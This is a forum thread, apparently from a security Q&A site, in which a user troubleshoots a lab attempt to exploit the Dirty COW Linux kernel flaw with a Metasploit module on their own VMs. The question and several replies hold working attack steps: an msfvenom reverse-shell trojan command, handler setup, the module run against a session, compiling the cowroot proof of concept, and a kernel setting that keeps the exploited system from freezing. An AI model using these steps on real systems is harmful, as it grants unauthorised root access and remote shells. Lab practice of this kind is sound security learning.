I'm testing on some of my Linux Virtual Machines trying to exploit the Dirty Cow Vulnerability and I'm not able to success using Metasploit. First of all... for interested users, a couple of links to "Dirty Cow, What is" vulnerability, "Kernels affected" and explanation. I will explain the long version, maybe useful as manual for others. The question is in the last phrase!

I know that you must be able to launch commands from the "possible victim" machine and the kernel must be one of the affected. Nice, I'm working with a Debian Jessie VM using kernel 3.16 (which is affected).

I know we can compile it manually etc... but the point of my lab is try to "automatize" a little bit using Metasploit. First of all I downloaded the exploit to be used with the Metasploit framework. Is the .rb file downloaded from Rapid7 Github and adapted for Metasploit by nixawk.

I already put the .rb file under the right folder for Metasploit, in my case using Kali as "attacker" is /usr/share/metasploit-framework/modules/exploits/linux/local/ because is on linux category, etc. Now I can see from msfconsole the exploit using search dirtycow. So, everything looks good at Metasploit! now I can use it. Let's work...

After selecting the exploit use exploit/linux/local/DirtyCow showing the options show options, I can see as simple as set the session on which we are going to try to perform the exploit. We don't have one session yet. At the beginning I didn't know if is needed a meterpreter session or what kind of session. After some tests, it seems is needed a linux shell session. Ok, let's prepare the Trojan with the reverse tcp linux shell using msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4444 -f elf > /root/Desktop/testTroj. The ip is where my Kali "attacker" linux is, port is ok, there is communication between both machines (victim and atacker) because they are on same LAN, no firewalls, etc..

I prepared the Metasploit "listening" for the shell session using use exploit/multi/handler , then setting the payload, in this case set payload linux/x86/shell/reverse_tcp. After that I set the parameters needed, port is default 4444 so is ok, set lhost which is may lan's attacker Kali machine ip and that's all. I run the exploit keeping it "listening" in background using exploit -j.

Then, I copied manually the file with the Trojan's "present" to the victim's Debian machine and I executed it as root. On Metasploit the session is created on background with the ID 1. Everything ok. Now we select again the DirtyCow's exploit using use exploit/linux/local/DirtyCow and set the unique parameter needed with the id of our session set session 1 because the other parameter is fine, /tmp is ok, the path exists and there is write permissions for everybody. Ready to go... I run the exploit using exploit and this is my output:

[*] Started reverse TCP handler on 
[*] Compiling /tmp/UzUvDldaCr.c via gcc
[*] Executing at 2016-12-14 22:10:51 +0100.
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.c' on the target
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.out' on the target
[*] Exploit completed, but no session was created.

It didn't worked... not sure what I'm doing wrong... I try to enter into the session to see what happened using sessions -i 1 and this is what I found:

[*] Starting interaction with 1...

/tmp/UzUvDldaCr.c: In function 'procselfmemThread':
/tmp/UzUvDldaCr.c:55:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
In file included from /tmp/UzUvDldaCr.c:8:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
collect2: fatal error: cannot find 'ld'
compilation terminated.
chmod: cannot access '/tmp/UzUvDldaCr.out': No such file or directory
/bin//sh: 19: /tmp/UzUvDldaCr.out: not found

ld: no input files

Not sure what is happening. gcc and ld commands are available on Debian's victim machine...

Is everything ok on attackers side? am I doing something wrong? Or is there a problem on victim's machine? Maybe the lack of some tool or something. If anybody can guide me... Thanks!

EDIT: I tried executing the Trojan using root and too I tested using a normal user on Debian's victim machine... the shell session is created in both cases but the final result is the same... same error, same log.

EDIT 2: The Metasploit module is based on cowroot PoC, so I downloaded the cowroot.c file from here, copied it manually to Debian's victim machine to try to compile it manually instead of using Metasploit. I Followed the instructions $ gcc cowroot.c -o cowroot -pthread and I obtained different error... Some warnings but no fatal error:

cowroot.c: In function 'procselfmemThread':
cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
 lseek(f, map, SEEK_SET);
In file included from cowroot.c:27:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
 extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;

And if you try it is half working... I mean if you execute it $ ./cowroot it drops the root shell... but after a while, the entire victim machine hangs completely. So now I'm lost... Why is not working on Metasploit? Is normal to get O.S. freezed after exploit the Dirty Cow vulnerability? Maybe the freeze could be because of compilation warnings?

EDIT 3: There is a workaround for the freezing problem. After some googling I found that if you execute previously (or quickly after dropping root shell before freezing) on victim's machine this echo 0 > /proc/sys/vm/dirty_writeback_centisecs, then you launch the exploit and it doesn't hang the system. I searched inside the code of the Metasploit module (DirtyCow.rb) and I found this:

def on_new_session(client)
    client.shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs')

So I guess after connecting with metasploit the system is not going to hang... But the point is still not working from Metasploit. :/

  • 1
    maybe your metaslpoit's PATH env is wrong, try opening a shell using the shell command and see what is set for it and what is the result of "which ld". Jun 4, 2017 at 22:25
  • 1
    I already tried this using different metasploits on different machines (Kali, Parrot). I also used different victims (Ubuntu 14, Debian 8). Same result always. I guess this ruby exploit is not working very well. For your info, my which id command output is /usr/bin/id (same output from standard shell and from inside metasploit console). Jun 5, 2017 at 9:08
  • just to be sure i am talking about the shell you get from a meterpreter session, not from the msfconsole on your machine. Jun 5, 2017 at 11:14

1 Answer 1


A couple of things:

1) What are you setting your target to? If the system that you are compiling the exploit for is running a 64-bit kernel, this may cause some issues. The default target is set to 32-bit.

2) When you set your SESSION variable, make sure that you check the exploits options to ensure that it is being set correctly.

3) On the target, make sure that /usr/bin/passwd exists and is suid to root. Also make sure that gcc is located at /usr/bin/gcc, the exploit does not use the PATH environmental variable to find either of these files.

4) When you interact with the session after running the exploit, are you able to issue any shell commands? You may not see a prompt, but try running "id" or something to see if you get STDOUT back.

  • The documentation says that the payload must be a shell, not a meterpreter... anyway you gave me the idea to test.I created a new infected file with msfvenom, this time with meterpreter and x86. I used as a victim a 32 bits live iso of Ubuntu Trusty (14.04) I set up everything, the meterpreter session spawned, I ran the shell command, once in shell, commands working fine. Then I pressed Ctrl+Z to get back to meterpreter shell and once there executed background command to exit maintaining the session. I set up the dirty cow exploit, setting the session. target as default x86 and nothing, fail. Jun 5, 2017 at 20:33
  • This is the output [*] Started reverse TCP handler on [*] Compiling /tmp/kUebqvczgO.c via gcc [*] Executing at 2017-06-05 22:29:02 +0200. [!] This exploit may require manual cleanup of '/tmp/kUebqvczgO.c' on the target [!] This exploit may require manual cleanup of '/tmp/kUebqvczgO.out' on the target [*] Exploit completed, but no session was created. . Does anybody really got it working? I really think this exploit is not working for Metasploit. Maybe is the reason is not included yet directly as exploit in the tool main set of exploits. Jun 5, 2017 at 20:35
  • Did you try a few different payloads? From what I am seeing elsewhere, a lot of the stability is dependent upon the payload used. You can always try to replace the exploit code that gets compiled with one of the other dirtycow exploits and see if there is any change.
    – user144242
    Jun 6, 2017 at 2:22
  • I tried using meterpreter... using shell payload too... with x86 payload, with x64... of course changing the target option on dirtycow exploit on each change... with different victim systems (all of them with kernel affected by dirty cow)... etc. Did it worked for you? tell me what OS do you used as attacker and as victim and what payload and I'll try to reproduce it exactly. Jun 6, 2017 at 9:54

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .